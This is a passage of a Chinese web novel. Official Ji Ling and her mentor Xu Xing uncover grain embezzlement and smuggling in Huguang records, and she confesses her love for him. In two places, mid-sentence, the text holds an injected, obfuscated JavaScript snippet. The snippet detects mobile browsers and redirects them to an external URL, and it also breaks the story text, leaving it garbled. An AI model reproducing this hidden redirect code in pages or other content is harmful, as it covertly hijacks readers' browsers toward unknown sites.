盯着那几道疤痕许久,他终于忍不住,用指尖去感受凸起的劫难。 掌中冰凉的帕子碰到季泠的手臂,将她冰得一阵瑟缩。 他手中的帕子渐渐生热,她的皮肤渐渐变凉。 徐行俯下身,只觉万分倦怠,便将自己的脸贴上了她的脸,感受她尚未褪离的滚热气息扑在他的脸颊与颈侧。 所以,她没有夸大其词。 在去岁清寒秋夜里,她坐在深壑月光中,平静地说出“险象环生,天不负我。”“任重力微,不敢害怕。” 她要借吏部侍郎的名头,她要闫有德的位置。她要她亲自选出的判官,不辜负她鲜血凝注的厚意。 一切都因为,她指尖所点的纸册之中,真的沾着她难以言说的九死一生。 “航青……”徐行用气声在她耳边私语,“原来,爱远比我想的艰难。”他想要长舒一口气,却被梗住。 “我欲倾注于你的目光,看不透你的矫饰伪装。” 所以这就是秋天存在的意义,走过春夏灿烂盛景,用一场天地同知的落叶,怜惜她累累硕果下掩藏的累累伤痕。 “...先生...”耳畔传来呼唤的呓语,徐行一怔,起身准备面对她的疑惑。 可等了半晌,季泠仍然闭着眼,被子下的起伏仍然平缓安和。 原来,是她在梦中无意识的呢喃。 那么,她在梦中都不忘呼唤他,要想通也是迟早的事。 他只需静候佳音了。 徐行走到榻边,矮几上散着五六本书,有《贞观政要》《文史通义》,亦有《长短经》《儒林外史》,倒是个好学的,经史子集样样不落。 只瞧着榻上的软枕与薄毯,似乎就能想象到她日常赏着窗前缤纷海棠,闲适懒倚着看书的模样。 只是,她的东西怎得如此繁杂,除了几本书,榻周四处,包括坐榻之上,都散落着账簿与牒呈,矮几上正摊着一本看了一半的牒呈。 徐行便坐在她那堆叠纸册留出的人形空位上,翻阅着她未看完的牒呈与手边比照的账册。 是前几日才从湖广送来的,许是她那日从徐家回来之后才收到的。 窗边的光渐渐明了。鸟儿出巢,闻见清啼,街贩出摊,吆喝不停。 将要五更天了。 徐行压了压账簿,留下一道折痕。 细柔天光泛游到床边,季泠迷迷糊糊睁开眼,看见如晨雾般飘浮的云山蓝大袖,她不禁疑惑道:“我怎么还在做梦…” 一只微凉的手探上她的额头,停留须臾,复又离开。 她在迷离间下意识伸手抓住,用脸贴了上去,又侧过身来,将那只手作枕压在脸下,继续安睡。 借由第一缕晨光,他将眼前人的模样仔细描摹。 啁啾争鸣掩盖了隔扇门的阖声。 白芨去小厨房端那盏新熬的药时,季泠方才醒来。 她摸了摸自己的脸,想是已经见好了。 她睡了太久,转醒而来,忽有些怅然若失,手脚都有些疲软。挣扎着下了床,竟然走路都发飘了。 走过床边,季泠伸手将撂在灵芝纹圆柱横梁衣架上的披风穿上。 转身回来时,却见到圆桌上放着一坛子酒。 她什么时候把酒拿出来的? 难不成她昨日半夜梦游了? 不管如何,她总归是好了,只是这样烧一场,却叫她喉咙生疼。 季泠坐到圆桌边,摸了摸提梁壶,里头的水已经凉了,可她实在口渴,只好抓过一只铃铛杯,将凉水一饮而尽。 白芨走进里间时,季泠正剧烈咳嗽着,一见那杯子,她便明白了,立刻放下木盘,替她拍着背顺气。 “诶哟我的大人呀,这病还没好全呢,你怎么就起来了!….还喝这么凉的水!” 季泠弱弱一笑,却陡然觉得怪异,她昨日应当是出汗了,背后有些黏腻,可脖子却干爽着。 这坛酒在这儿,杯子里没酒,可她总闻到些似有若无的酒味,虽不至于熏醉,可总不太舒坦。 “昨日您睡了一日,都没吃东西,现在厨房刚煮了白粥出来,要不要吃一些?” 季泠想想点了点头,她现下确实有些饿了:“替我加些糖,突然想吃点甜的,嘴里苦得很。” 白芨笑了笑退下了。用了粥,服了药,季泠实在忍受不住,去了净房沐浴 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更不必说,等去了六科任职,新环境的人情往来是必不可少的,她还要继续维护户部这里的关系,湖广那儿也要时不时打点一二,各位上官的宴请她还需注意….. 这样一看,她病了三日,实在是耽误事儿。 难怪做官的男人都要娶个贤妻呢,她眼下急需一位贤夫替她打点内外,教她能够快些脱离庶务,专心去应对朝堂之事。 坐回窗边软榻上,季泠深深叹气,烦闷地翻阅着手中下头送上来的牒呈,嘴里不停地鼓励自己:“四个月后……四个月后成了户部郎中,成了领头羊,便再不必如此辛苦了……到时候,俸银也升了,便可以多雇些人手照看家中,再去书局书社寻几个聪明姑娘,替我打打下手……四个月!再熬四个月即可!” 待到心气又十足恢复,季泠投入案牍之中,却突觉摊开的那几页陌生的很。 她先前不是看到这儿啊? 唉,一病起来,连脑子也浆糊了。 白芨进了里间,替她添了壶热茶,又悄声退了出去。 午间阳光透过支摘窗,将小几上的账簿照个亮堂,阳光之下,她的手指在算盘与账簿中上下翻动,停滞片刻,仔细核对,算盘珠子的碰撞又响起来,落在沉寂的空气中。 直至盛大的阳光破开海棠树的茂密枝叶,在小几上烙出数十个滚烫的光斑,成了散落算珠的化影时,啪得一声响,季泠双手盖在算盘与账簿之上,瞬间慌了神。 看着光斑因摇曳的枝叶而在她衣袖上晃动,季泠猛然想起,那日徐行所言——户部如今不太平…… 还真的不太平,且,这把暗剑,似乎是冲她而来的。 再不顾及其他,季泠当即翻身下榻,可久坐数个时辰,又大病初愈,直接让她软了腿,噗通一下,扬起了榻上四散的书册。 白芨与林微闻声而入,就见季泠趴在地上,没了动静。 “执庸!”“大人!”惊呼声同时响起。 季泠被两人搀扶起来,眼前一片眩白。 “等等….我缓一缓….” 待她眼前恢复清明,却察觉到林微身上带着午后暖阳的热气。 “你从外面回来的?” “昨日你不是吩咐我,今日去寻方时迁吗?” 季泠撑着脑袋,看着白芨收拾着散落一地的书册,发出落叶般的脆响,终于承受不住般地闭了眼。 她只有两只手,却要顾这么多事,甚至她本来有一颗头,一碗碗伤寒药喝下去,现在只剩下模棱两可的半颗头了。 “我忘记了…”季泠疲惫地叹气,不由担心那把五品官的官帽椅,她究竟能不能坐得稳。 可眼下还由不得她焦心未来,湖广之事她必须找到一个摘脱自己,又能抓住黑手的良策。 “林微,你想办法,帮我去吏部衙门,或是徐家都行,通传一下,我要见徐行。” 林微一听愣住了,怎么才醒来没半日,摔了一跤,就要找徐行去了? 难道昨天夜里徐行真的做了什么? 思忖片刻,林微才开口试探道:“昨天,徐大人有说什么,做什么吗?” 季泠一头雾水:“他做什么我怎么知道?你快些去,我有要事跟他商议。” 林微见她那着急样子,立刻警铃大作,莫不是真吃亏了?索性眼睛一闭直接问了:“他昨晚是不是轻薄你了?” “啊?” “徐大人昨晚不是在你房里吗?” 这下轮到季泠傻眼了,“我房里?昨日守夜的不是你吗?” “你不知道?昨儿你烧的厉害,一日都没醒,晚上我本想守着你,不知道他使了什么办法进来,说要照顾你,就在你屋里守了一夜….” 林微越说越小声,注意者季泠神色变化。 季泠却是呆住了。 原来,她清晨真的看见了徐行,那不是幻想,也不是梦境。 “我…我不知道…我没有醒过…” 白芨复又进来,送来一碟子雪片糕,让她好缓缓精神。 季泠看着盘中的雪片糕,呆滞地撕扯下一片,放入嘴中。糯米的甜香在舌尖蔓延融化。 林微见她那魂不守舍的样子,叹了一口气,“昨日我瞧着,原以为是徐大人单相思呢。现在看来,你们俩是郎有情,妾有意啊….” 季泠盯着指尖沾上的糯米粉,终是恍然大悟,立刻将她赶去通报:“快,你告诉他,我去徐家见他。” 林微笑着点头,季泠连忙补充了:“是户部税粮的事情,别耽搁了!” 林微一听,立刻敛下玩笑神情,快步走出浮云堂。 浮云堂中又只剩她一人。季泠摸着那盘子雪片糕,手背贴到一处冰凉,她回神看去,是那坛酒。 所以,昨夜,是徐行替她擦酒褪热的。 季泠摸着坛子,借那凉意让自己冷静下来。 原来是这样啊… 68. 牒呈初窥粮仓端倪 连林微都看出来了,她自己却没发现。 所以,徐行真没说错,她真喜欢他。 这念头一冒出来,却又把她吓了一大跳。 可徐行又是怎么看出来的?她自认为,自己在他面前,已经伪装的不错了。 伪装… 是啊,他可是徐行,什么伪装看不破呢,她那点小伎俩,他简直一清二楚吧… 季泠没来由地难过起来。徐行说的对,她应该要回来好好审一审自己的心,可她又把这件事情给忘记了。 择日不如撞日,当下她就该快点审个结果出来。 季泠还是有些不可思议,她究竟什么时候开始喜欢上徐行的?她心中真的没底。 不过,昨夜梦中,她不是已经梦到了吗?梦到她与徐行的一切过往,梦到她一遍又一遍地怀疑徐行,提防徐行,在心中告诫自己,这次相见定要冷静理智。 可见到他双晕着柔光的眼睛,那抹暗藏玄机的笑意,却又开始控制不住地想将压抑在心底的喜怒哀乐全部释放,将自己的伪装又拆得片甲不留。 好吧!既如此!她认命吧! 这桩案子原也不是什么难断悬案。 喜欢上徐行也没什么大不了的。总不会是会丢官没命的灭顶之灾。喜欢这件事,其实很简单嘛! 若她喜欢徐行,那便去喜欢吧,就像喜欢乡野的一丛花,一棵树,亦或是冬日的一场初雪,夏日的一阵凉风,那样真诚而热烈地去喜欢。 她本就是一个不爱思量太多的人,在有限的人生,能找到一个人来寄托她过于盈沛的感情,何尝不是上天对她的优待与恩赐呢。 能收获什么,她大可不必在意了,反正,喜欢本就是心脏给予大脑的一场浪漫,她也可以独自享有其中的酸甜苦辣。 喜欢徐行是一件挺幸福的事情,她从未因此而多生忧愁,既然如此,大可以继续下去。 想来是女子到了她这样的年纪,总有些胡作非为的情思,她既压抑不住,就随它而去好了。 反正,她又不是没有喜欢过人,如今已经有处理自己情感的经验了。 若是有朝一日,徐行真的想对付她,利用了他们之间的过往与情谊,那她正好借他的狠心将他们的羁绊斩断。 她相信自己有这样的能力,反正感情是她自己的,既能大大方方送出去,定也能坦坦荡荡收回来。 季泠已经想清楚了,她不想磨蹭,无论是公事私事,她喜欢开门见山,一口气说清楚,光阴飞逝,时不我待,确定好的事情,总是最快落实才让人安心。 季泠手脚并用地换上白芨替她熨烫好的云峰白竖领大袖长衫和鹊灰色马面裙,急速将账簿牒呈摞成一叠,一把抱起就往浮云堂外冲去。 “白芨!白芨!快去帮我看看林微回来了没……” 小山般的书册挡住她的视线,季泠却还要分神去提溜着裙子,将将走到阳光炽热的院中,却猛地撞上来人,撞的她连连后退。 季泠心叹不妙,也顾不上腾出手平衡,只顾着怀中无比重要的东西,伸手去护着,防止它们掉落染脏。 正当她做好准备,闭上眼摔个屁股墩儿时,后腰却被一条长臂托住,而她担忧的书册也被及时压稳。 不过,册子正夹在两人之间,倒叫她不敢往后退一步了。 季泠抬头一看,竟是赶来的徐行。 “你怎么过来了?脚程这么快,我不是说去徐家找你吗…” 林微跟在后面赶进来,适时收住了脚。 这徐大人也是奇怪,还没等她说是户部的事情,立刻就赶来,她都快跟不上了。 徐行松开手,将她怀中的书册接过:“看来是大好了,还能这样不顾着人地往前冲。” 季泠见他既然来了,也懒得多费口舌,前头还有的几缕小女儿情思顷刻便抛到九霄云外去了,立刻拉着他的袖子走去。 徐行随着她走进了浮云堂。 季泠初搬进来时,辟了西次间作书房,浮云堂本就不大,总之也只她一人用着,书房小些也无碍。 一进书房,就见一条方形瑞云纹长条书案和一张官帽椅,侧边一张玫瑰椅,一张方凳。桌上就放置着一些笔洗、砚台、砚滴、笔架、镇纸等常见的文房用具,季泠官职不高,这些也不是什么名贵物品,倒也说不出什么出处来。 靠窗的一边放了一张双层的置书桌,背后是一排随墙书架。书架旁边还有一排藏书阁。书房另一侧就是一张罗汉床,边上置了一张小茶桌,以便她自己随时添些茶水。 角落放了一张香几,季泠养了一盆茉莉搁在上头,只是京城气候远没有建州暖和,茉莉畏寒,长得也不怎么好。 其余琴棋书画桌案在这儿都是没有的,之前是有熏炉摆件屏风之类的风雅之物,季泠觉得碍事,都叫撤掉了。 墙上挂着一幅画,倒也不是常见的山水田园或是松柏竹兰,而是腊梅,上头也没有什么鸟儿点缀,居然画了一只风筝,权当是动静结合、雅俗共存了。 若真要说还有什么特别,许是一屋子的灯架了。 季泠坐在官帽椅上,给徐行指了指一侧的玫瑰椅,也不走过场招呼待客,单刀直入:“湖广的粮仓有问题。” 湖广一直是全国主要的产粮地,近几年风调雨顺,连年丰收,仅仅一个郧阳大丰仓就能储存两千多石的谷米粮食。 起初季泠还觉得湖广离京城略远些,可真正实打实干了三年下来,才发现湖广事务已然是极轻易的了。 在她任职的三年中,湖广几乎无何天灾,较于北方诸省而言,粮食产量多,赋税又低上许多,对于一个新入仕、不可行差踏错的小官而言,已然是一个美差了。 一般地方征收夏税秋粮,夏税不过八月,秋粮不过二月。征得的税粮部分留在当地,这些留存粮在丰收时入仓,将往年的陈粮换出,以此保持平衡。 可是,从她先前算出的账目来看,粮仓里收上来的新粮不足往年正常年份的一半,陈粮也多以腐坏生霉为由清了出去,现下粮仓里的存粮是远远不足正常应有的量的。 如果天下太平,兴许还没事,左不过就是等下一次的新粮补进来,没坏的陈粮继续留着,以求保险。如若不太平,那后果可就大了…… 季泠不得不担忧,事出反常,若是无事,哪怕平了账,闫有德也会用这个事情治她一个不察之罪,若是有事,那她的脑袋可就要落地了。 徐行见她脸色惨白,出声安抚她:“我知道。” 很冷静。似乎他并不意外。 季泠一脸讶异:“你怎么知道?” 难道他已经到了料事如神的地步? “我替你看过了。见林姑娘来找我,我就知道你醒了,速来找你商议此事。” 难怪她的账簿所呈的位置与她记忆中不相对,可她也无暇分心去思考来龙去脉。这样一桩飞来横祸,她该如何是好? 地方递交的牒呈积车满盈,通常是看不过来的。往往由副手大致略过,他们只需看结果、批需求即可。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446330|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在其中做些手脚,说容易也并非十足容易,有心人留意即可。可说难也并不难,毕竟,如海一般数字涌来,哪个京官能分神出来去看这些呢。 闫有德万万是想不到,她会忙里偷闲,亲历亲为地去核对如此庞大的账目。 “你看出什么了?”徐行问着,端起六角茶杯,缓缓呷了一口。 季泠翻开牒呈和账簿,指了指其中有异的地方:“收成和往年差不多,甚至略高一些,但入仓的留存粮却只有往年一半。今年赋税上并没有太大变动,按理来说是不会有这么大的差异。为了平账,他们必然要将陈粮留着,以备有患。可正相反,清出去的陈粮比以往多还要多,而且竟然是寻了一个粮食腐烂这样的烂理由。” “漕运那册你看过了吗?” “大略翻了一下,感觉也有些不对劲的地方,但还没仔细看过….但我不理解的是,这份牒呈明显有问题,为何他们敢这样明目张胆地递上来呢?就不担心被治罪吗?” “你那几本账簿是哪里来的?”徐行适时提出这个问题。 季泠开始沉思。 她任职没多久,年纪又轻,和科举上来的官员不同,她没有同窗、同乡,也没有恩师与提携她的上官,她唯一能倚仗的就是公主府。 所以她只好自己设法摸清里头的门路。 上任的第一年,她忙完衙门里的事情,就去调来湖广五年四科所有能查及的案卷,有些东西本该记录在册,管理得当,以作存档,但户部里头就是找不到相关记录。 她上报过,但后续也没什么结果,不了了之。 求人不如求己,她便借用公主府的势力探子,自己去查访,湖广各府州县志,她也看过不少。 最终,她自己统计出几本账簿册子,农田山川、漕运科粮、鱼盐茶朵、赏赉禄秩、赋税赃罚,无有不全的,还思量了许多湖广丰歉之年、灾害之际应该如何养民富民救民安民的措施对策。 是以,这三年她几乎没有休息,夜夜挑灯。 其实这些事情她本可以不做,或是交待下面的人。只是户部官吏众多,人员庞杂,势力错综,她也不放心。而她所为,户部无人知晓,他们也不会想到季泠会去做这么繁琐又无用的事情。 “看来,下到仓库大使,上到参政议政布政使,乃至户部若干官员,都相互勾结,暗中包庇。长久以来,上行下效,沆瀣一气,哪怕有人上禀,也都被压下了。” 季泠低声说,徐行也不插话,点了点头表示认可。 当四周都陷入沉寂之时,季泠恍然大悟,拍案转头。 “所以!你才将我调离,是你察觉到户部有人开始有动作了?还是圣上准备清算?” 徐行想了想如何合理措辞,朝堂之上,牵一发而动全身,有些事情,知道的越少,反而越安全。 “将你调离也不只是让你避开风头。你的动作太大,引人忌惮是迟早的事,如果现在不离开,你也难以方便行事。倒不如明面上略降一级,他们便不会再把注意放在你身上。” 一串枯朽的藤蔓上,却生出季泠这朵愈挫愈盛的花,他们早就想摘除她了。 “而且,据我所知,户部那些老狐狸忌惮你与我和谭大人有了交集,隐隐有孤立你的势头。既如此,倒不如由我来贬你,你也好去他们面前卖卖惨,收回人心。”徐行的话里藏着一丝笑意。 季泠抬眼深深地看着他,双唇翕动,一时间不知道说什么好。 先生毕竟是先生,方方面面,虑无不周。 69. 春光长明春心浮动 今日的太阳很好,春和景明,万象更新,庭院中的叶子被照得绿油油的,也算是难得的生机。 白蔹在院子中边哼着歌,边侍弄花草,正是心情怡悦的小女孩儿模样。 碧萝从一旁走过,见着她眉飞色舞的样子,凑上前问:“姐姐今日怎么心情这样好?” 白蔹笑的脸红扑扑的,边浇水边说:“我自然是心情大好!大人病了两日,终于是好起来了。前儿个一直下雨,惹得人心情郁闷的很呢!今日出了大太阳,暖和得很,人也松快些。” 碧萝觉着也是,年后的天气一直不怎么好,冷阴阴的,好像做什么都不顺利。 现在太阳出来了,天气转暖了,她们这些丫鬟也可以穿春衣,闲时还能出去溜达踏春,确实是心情舒畅。 “大人的病才好,姐姐怎么也没进屋里伺候大人吗?” “大人和贵客在书房议事呢,不让人打扰的。你还不知道吗,咱们大人最是好性子,在她面前还嫌烦,有事自然会叫咱去的。”说完,又自顾自地很好奇小调子。 碧萝应声,随即往院子里头走去。 徐行坐在玫瑰椅中,总觉得略有局促,起身腾挪了一下椅子,坐得离季泠更近一些,以便一同检阅漕运相关事务。 季泠托着下巴执着笔,一抬头,便看见他垂眸时敛下的长长睫毛,在他眼睑之下映出半轮月影。 与姑娘那种卷翘纤细的睫毛有些不同,徐行的睫毛浓而直,眼尾处的睫毛还略微下垂,若是不笑时,那淡淡的阴翳便替他添了几分不怒自威的气势。 徐行察觉到那股热切的眼神,抬眼便见身边的人托着腮,傻傻地盯着他看。可他才迎上她的目光,她又立刻闪躲开,佯装认真地看着账簿。 他不由轻笑:“好看吗?” 季泠抬手遮住自己的脸,“什么?” “我。” 季泠偷偷松了手,透过指缝瞄他,徐行正盯着她,若她不应,定是不放过她了。 “可点为探花。” 果不其然,徐行又笑出声,顺手握住她的手腕,替她抹去沾在手侧的墨迹。 她被突如其来的接触分了心。 这不是徐行第一次和她有肢体上的触碰。她本不应该在意的。 可似乎就是因为想通了一下,她看着这样再正常不过的动作,都觉得别有意味。 季泠撇了撇嘴,还想抬眼再偷偷看他的神情。 “专心些。”他提醒她。 吓得她又低下头看回账簿。 浮云堂里,太阳照着十字长方景窗,投在书案边的光影被如水东逝的时间越拉越长,越冲越淡,直到太阳西落,最终融入苍茫暮色之中。 徐行站起来将灯盏点亮,瞥见帘后有个人影。 “谁?”徐行出声问道。 季泠闻声看去,碧萝低着头走进来:“大人,两位姐姐手中忙着,吩咐奴婢进来添些热水。” 季泠见了是她,眉头微皱,有些不满:“知道了,放下吧。” 她手下这四个丫头年岁小,平日被她纵得有些无法无天了,见什么新奇的客人,总想凑上前来看看。 碧萝应声告退,她想了想,又多说了一句:“日后没有我的吩咐,不要靠近书房。” 碧萝听出些许怒意,身体抖了一下,战战兢兢地退下了。 徐行用手背探了探送进来的茶壶,不算滚烫,想是凉了有一会了。 他刚想说些什么,却被季泠拉回去继续商讨。 “每年漕运赴京的规模是四百万石,湖广漕额也就二十五万石,并不算多。可你看看,今年他们起运就出了三十余万石,比预计的多了近二分之一。” “可途中押运粮米的船只遭遇沉船,沉了十一艘料船,三艘哨船。漕运又不是海运,湖广送粮走汉江长江,哪有那么大的风浪,会导致这么多大沉船呢?” 徐行沉思着,季泠继续分析:“且现在造船新厂都建在湖广。我虽并未亲自到那些厂里看过,但我自小在宁川长大,船厂怎么行事,全凭地方利益走。” “一艘船名义上载八百石粮食,实际上可以载一千石,多出来的两百石不计入官方,这就是私货。” “一艘船内,公私具足,这样的事若管的太严,往往适得其反,上头也就睁只眼闭只眼过了。可一旦船只倾覆,若是打捞起来什么,由谁捡走,那可追不回来….” 徐行直接问:“也就是说,一部分新粮,被底下人借着漕运粮的名头运出去,又披着船难的幌子行走私之实?” 季泠点头,语气不免沉重几分:“不仅如此,湖广运粮,分为两个部分,前半段□□,由粮户负责,运到淮安上仓,后半段就由官军支运到京。可是此次的漕粮□□的路程早已经超过军运。要知道,这些粮户本就要身负赋税徭役,运费锱铢皆出于民,多走一里,就是多苦一户。” 季泠深深叹了一口气。 一窝□□掠盗之徒,上下串通,将人民生计,国本财税,全部都当作自己谋私的钱袋子。 季泠无力垂首,揉了揉太阳穴。 徐行见她这样劳神忧心,温和安抚道:“放心,这件事情关系重大,不仅是户部上下,吏部也该有所动作。时候不早了,你病体未愈,不宜太过劳累,得不偿失。” 说罢,便动手替她整理书案上凌乱堆放的账簿牒呈一一整理清楚,归类妥当。 季泠歪靠在官帽椅上,见徐行一副驾轻就熟的模样,却突然有种大梦方醒的迷惘。 她往日都是独自在书房理事,有时会喊林微来议事,可眼下,徐行却在这儿,她忽觉,这片身影落在浮云堂中,将要把她过往的日复一日给搅乱了。 春夜里,灯火中,四下阒然,只有徐行的手拂过纸册发出的沙沙声。 还有她时快时慢、乱七八糟的心跳声。 季泠推开椅子,去喊白芨布置晚膳,回到书房时,她的书案焕然一新。 不愧是徐行,做事就是那么有条理,只是他终究会白费功夫的,明日她的书案又会变得鸡飞蛋打般糟乱。 徐行正坐在她的罗汉床上等着她。 “已经要申时了,麻烦先生替我分担许久。不如,先生留下来一起用晚膳吧。”季泠杌陧不安,趁此机会发出邀请。 其实她也只是客气一番,并未真做留下他的准备。 方才逃离书房,走到院中,吹了会儿风,她又想起昨夜与三日前的事情。 可现下她精力有限,湖广的事压得她喘不过气,实在不知道怎么样才能自然地处理好他们之间的事情。 “好。” 季泠当即僵住,尴尬地笑了笑,只好请他到用餐处,又逃离般地去跟白芨商量添菜的事情。 两碗清粥,一道菜心,一份清炒竹笋,一盘栗子烧鸡,一锅莲子猪肚汤。季泠见菜已经上好,一步一挪地去请他。 等两人落座后,她又无措地搓搓手,抿了抿嘴:“先生见谅,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446331|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这儿没什么好东西,您将就将就吧。” 徐行说了句无妨,季泠应不出话,只好埋头吃着,一时间相顾无言。 徐行见她喝完了粥,又喝了两口汤就停下了。 “没胃口吗?” 季泠正发着呆,被他打破平静的话吓了一跳,整个人一激灵。 徐行无奈道:“怎得这样也会受惊,往日见你在署衙时可不是这样。” 停顿了一下,他又试探道:“我有这么吓人吗?” 季泠偷偷偏头,在背后抓耳挠腮地叫苦不迭,直到那道目光将要把她烫出一个洞,才慢慢转回头。 “可能是湖广之事影响……嗯,确实有些没胃口。” 她左右四处一通乱看,藏在桌下的手搅着大袖,拘谨的很,好像她才是第一次来到这里的客人。 屋里再一次陷入沉默。 季泠真恨,自己没长一张巧嘴,竟又把天给聊死了。 想了半天,还是说回她最关心的事吧。 “先生。” “嗯?” 徐行朝她看来,眼中含笑。 季泠一顿,脑中突然冒出“秀色可餐”这个词,又不自在起来。 她今日到底是怎么回事! 偷偷吐一口气,她才开口:“多谢您。” “你如此客气?那你倒说说,要谢我什么?” 徐行这副明显看穿她的样子,一下子让她烦躁起来,又忍不住想嚷嚷。 “谢你把我调离了,这下闫有德的如意算盘打空了,没准还会反噬到他自己身上吧?” “这可未必,你别高兴太早。无论如何,这件事都是在你任期内发生的。” 季泠一滞,忙问他:“我的调令还没下来吗?这不是你在办吗?倒是快些啊!” 可她越着急,徐行越淡然,她的眼睛都要喷火了,徐行还在不紧不慢地漱口擦嘴。 “下来了,你不是这两日告假吗?明日你回了户部,我让览风亲自送去,招摇些,好让众人知道你倒了大霉头,如何?“ 徐行如此绘声绘影,季泠当即从圆墩上一跃而起。 “不够不够,你要记得,叫览风装得很生气,体现出你的威严,最好要从闫有德那儿声势浩大地走过,大声传唤我,我再慌张地跑出来。览风将调令甩在我的身上,我打开一瞧,当即便急火攻心,晕了过去……“ 季泠越说越起劲,在屋里蹦来跳去,指手画脚地开始自导自演,却在一转身后,猝不及防地撞上她唯一的看客。 季泠下意识后退一步,就见徐行一脸戏谑。 “你不是一向要面子的吗?这样一出好戏,你还要急火攻心,这可不是要叫你的同僚们笑掉大牙了?“ 季泠撇了撇嘴,在他面前低下了头。 “笑吧。我又不是今日才出的笑话。人心难测,若是我真那么顺利升官了,他们面上恭维我,背后指不定怎么说我呢。世人不都这样吗?若是同行之人,落后他,便觉得掉了自己的身份,不愿再与之为伍;若是超过他,装的是一副同喜同乐的笑脸,可内心只会怨怪,为何这大好便宜不是由自己来占。怨怪完,要不就泼脏水,要不就使黑手,能只专注己身的,又有多少人呢?” 季泠抬头,看着与她近在咫尺的徐行,真真是无比羡慕。 “不过说了你也不懂,总之,你把我显得越惨越好,这样他们见了,心里的不平才能减轻几分,来日,我的日子也能好过几分。” 70. 栏杆罩旁倾诉衷肠 徐行站在栏杆罩边,听着身后的饭厅传来碗盏相碰的声音,身前的里间飘出季泠洗漱的水声。 待白芨推出里间时,季泠走了出来,站在栏杆罩里边,隔着栏杆边的空档,看向端立在罩外的徐行,却一时间忘记先头讲到哪里了。 栏杆罩边的烛火突然晃动了一下,徐行的眼睛亮了又暗,将她的心也晃的明灭难辨。 季泠转头看着窗外,夜已然深了。 今夜,她不需要人守夜,已经将侍女丫头们都遣去休息了。 而徐行反正一会儿就该走了,那么,此时,其实就是她说起那件事的最佳时机。 “徐润旻。” 徐行一愣,转身朝她看来。 季泠的发髻已经松下了,散落的头发披在身前身后。 而见到这样的季泠,他才发现,自己竟在浮云堂留到息时。 “我有话想对你说。” 季泠藏在栏杆罩后,里头就是她的寝屋,他断不可再进一步,昨夜,已经是他有失体统了。 “你说。” “那日在徐家,你跟我说,让我仔细想想的事……”季泠吞吞吐吐的,徐行生平难得觉得有些烦躁,向前走了一步,盯着空档处她露出的半张脸。 “嗯?”他应得漫不经心。 季泠挪了一步,彻底露出脸来,看向面前的人。 她第一次离徐行这么近,去观察他眼睛传递的想法。也是她第一次,在他那双隽永双眸中,看到如此清晰的自己。 徐行眼中的世界似乎总是很大,他站在山长身边,站在福建布政使身边,站在汉王身侧,站在早朝前列,站在丹墀之中,站在阁臣身后。 他看到的世界,远比她大,原比她广。他见的人也远比她多,远比她杂。 可眼下,她站在他面前,出神地看着,两只眼睛中,两个世界里,分明就只有她。 春风拂槛,绿芽初生。 季泠深吸了一口气,转过身去,发丝穿透空档,扫过徐行的袖缘。 她给他留下一片没有星星的夜幕。 “徐润旻,你说得对。”季泠的声音有几分夜幕中流星划过的空旷。 她难得怅然,几乎叫徐行以为,又是她梦中的呓语,或是下意识的谵语。 徐行握了握拳,感受到自己的指节在轻响,压下轰鸣噪音。 “我承认了,我是喜欢你,心里是有你的。你满意了吗……你总将我看得那么清楚……”季泠越说越小声,最后几个词,几乎是被哭腔拖出来的。 她又在他面前落败了,那阵寻不到来处的酸楚突然泛上心头,又直通鼻腔,将她的如释重负添上几分自不量力的可笑。 她真想在徐行面前胜一回啊。 可这样的大事,她居然还失败了。 徐行煎熬一夜的心终于落地,幻化成喟然长叹的轻风。 他的手越过空档,拉住她的手,轻声问:“我能进来吗?” 那片漆黑夜幕漾起沉波,季泠点了点头。 徐行绕过栏杆罩,走到她面前,见她仍是执拗地垂头,不许他看见她狼狈的模样。 于是,他伸出手,将她揽入怀中。 在季泠的额头轻碰到宽阔有力的胸膛,而她的肩背全被纳入一方风难侵扰的臂弯时,她终于难以抵挡诱惑,埋在他的心头,开始嚎啕大哭。 漂泊已久的船啊。 就算是一艘巨舰,也该有驶入港湾停歇的权利。 哪怕是在黑夜的罅隙里。 他抚着她的头,顺着她的背,陪她在她最熟悉的地方展现脆弱,纵她躲在他的怀中,偷偷用他的衣裳抹干自己的眼泪。 徐行轻笑着,见她由哭号逐渐转变为抽噎,在终于结束自己的释放时,却将他一把推开,又自顾自地坐到榻上去。 “走吧走吧,你回去吧。我这出丑戏你也算是看够了。”季泠嘟囔着嘴,准备要赶他走了。 “用完就扔啊?季航青,你真无情。”徐行坐到她身边,想用帕子替她擦擦脸,却被季泠伸手一把夺过。 “我自己来。”她小声嘟囔。 “好端端的,怎么哭了?喜欢我,有那么不值当吗?你这架势,像是被卖进了土匪窝。”季泠这一哭,可真是乱拳打死老师傅了。 “我也不知道…你就当我大病初愈,多愁善感吧…”季泠闷闷地说。 她许久没有这样痛快地哭一场了,其实她也不知道为何这样哭了,也许是难得找到一个宣泄的机会,便放纵自己任性一回。 只是,徐行站在她身后,总给她一种错觉。就像再要强的孩子,在外头如何威风凛凛,回到家听见母亲的关心,总是会想掉眼泪。 哭过了头,她便累了,蹬了鞋,还未找到一个合适的迎枕,徐行却已自觉将她圈入怀中,心甘情愿地为她作枕。 季泠倚在他身上,不可控制地留恋这种陌生的心安感。 她心中炸过一道天雷,叫嚣着她要完了,可立刻就被团团云雾罩住,她便又甘之如饴地堕入其中。 既然她已经审完了自己,眼下,就该轮到她审他了。 